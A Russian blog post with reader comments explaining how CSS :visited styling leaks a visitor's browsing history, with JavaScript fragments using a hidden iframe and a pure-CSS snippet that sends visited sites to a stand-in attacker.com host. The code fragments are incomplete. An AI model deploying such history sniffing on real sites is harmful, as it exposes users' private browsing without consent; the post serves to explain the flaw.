Чтение истории посещений с помощью CSS

letsBegin('en');
function letsBegin(a){
    startCheck("/db/db_" + a + ".txt")
}
function startCheck(a){
    $.get(a, function(d){
        var c = d.split("\n");
        for (var b in c) {
            c[b] = "http://" + c[b]
        }
        user = StartPanic(c)
    })
}

var p = document.createElement("iframe");
$(p).css({
    position: "absolute",
    width: "1px",
    height: "1px",
    visibility: "hidden"
});
$("body").append($(p));

p.doc.write("<style>");
p.doc.write("a{color: #000000; display:none;}");
p.doc.write("a:visited {color: #FF0000; display:inline;}");
p.doc.write("</style>");

return q.defaultView.getComputedStyle(r, null).getPropertyValue("display");

<style>
     a:visited{background:url("http://attacker.com/?msn.com")}
     a:not(:visited){background:url(//not-visited)}
</style>
<a href="http://msn.com">x</a>

17 comments

1. полезная информация, неадвно искал инфе по xss в стилях, в итоге вышла активка для ие в ипб3 (: /*привет brain[pillow]*/

2. Почитал «представленную на BlueHat 2008 работу», выпал в осадок. То есть, получается, в ЖЖ можно выхватить автозаполненный браузером пароль из верхней полоски нафигации при помощи злого CSS?

3. Просто гениально 🙂

   Вообще интересно, как это можно “пофиксить”. Ок, пусть будет запрещено скриптам проверять стили в :active ссылках или будут выдаваться те же данные, что и у обычных ссылок. Но проверяя у соседних блоков такие свойства, как clientHeight, всегда можно узнать что стиль на ссылку сработал. Как можно пофиксить примеры, описанные в презентации, на уровне браузера тоже непонятно.

   Разве что только встроить в браузеры “поведенческий антивирус”, который будет реагировать, когда скрипты и загруженные CSS ведут себя подозрительно. Это решило бы все проблемы разом.

4. странно я прошался по ссылке startpanic.com и мне ничего не выдало

5. Нету истории посещений – нету и проблемы.
   Я одного не понял, почему “секси ассассин” ? ( :
   Кстати, вот “сборник” PoC’ов по теме: hxxp://p42.us/css/

6. @artyfarty
   Чтение атрибутов html-тэгов, действительно, очень интересный прием. Не уверен, что ЖЖ допускает возможность использования своих стилей, но получить пароль, который был автоматически заполнен в соответствующее поле, например, Firefox’ом, вполне реально (правда необходим небольшой таймаут).

   @Varyen
   Разработчики Firefox работают над устранением этого бага, посмотрим, что у них получится 😉 Однозначных решений я не вижу, тоже склоняюсь к идее поведенческого анализа.

   @cr0w
   Почему sexy assassin – без понятия 🙂 а сборник упоминался в презентации.

7. Что-то странно, Jeremiah Grossman про это ещё в 2006-7 писал, как-то большой паники не было. Даже, кажется, в их с RSnake книжке про это есть. Более того, можно и без JS обойтись, голым CSS, см. http://ha.ckers.org/weird/CSS-history.cgi

8. А, виноват. У меня почему-то не отразился с NoScript ваш второй вариант, который без JS. Какая ирония.

9. raz0r, ну несерьезно.. эта фича впервые обнаружена была, если не ошибаюсь, в 2002 году.

   В общем для такого блога, низачот… Старая инфа..

10. @Raz0r
    В ЖЖ custom css есть даже у бесплатников, у платников вообще почти полный доступ к теме, хоть кверх ногами переверни. (Скрипты вроде режутся)

    Ещё недавно можно было наезжать на соседние посты во френдленте при помощи position: relative, о чём тут говорить… А убрали позишен, так остались отрицательные маргины…

11. какой код в нутри http://startpanic.com/urls ?

12. Нет там кода. Если вы про db/db_en.txt, то там список урлов

13. Хоть и старая, но все еще актуальная

14. нет не db_en.txt, в http://startpanic.com/urls передаются ссылки как раз таки из db_en.txt там они обрабатываются и выдаются списком который мы и видим на главной

    передаются они постом в виде “urls[]=http://google.com/&urls[]=http://google.ru/&итд”
    а в ответ он выдает

    Google
    
    Google
    

    как бы в sp.js вроде есть частичная обработка этого но я не особо в нем силен, а очень хочется разобраться
    p.s. могу и ошибаться

15. поправочка

    <li><a href=”http://google.com/” title=”Google”><img src=”http://ru.startpanic.com/favicons/google.com.gif” width=”16″ height=”16″ alt=”fav” /> Google
    </a></li>
    <li><a href=”http://google.ru/” title=”Google”><img src=”http://ru.startpanic.com/favicons/google.ru.gif” width=”16″ height=”16″ alt=”fav” /> Google
    </a></li>

16. все вопросы отменяются, на свежую голову разобрался

17. вообще, если посмотреть глобально, то достаточно безобидный баг, имхо. хотя, неприятные моменты есть.

This site uses Akismet to reduce spam. Learn how your comment data is processed.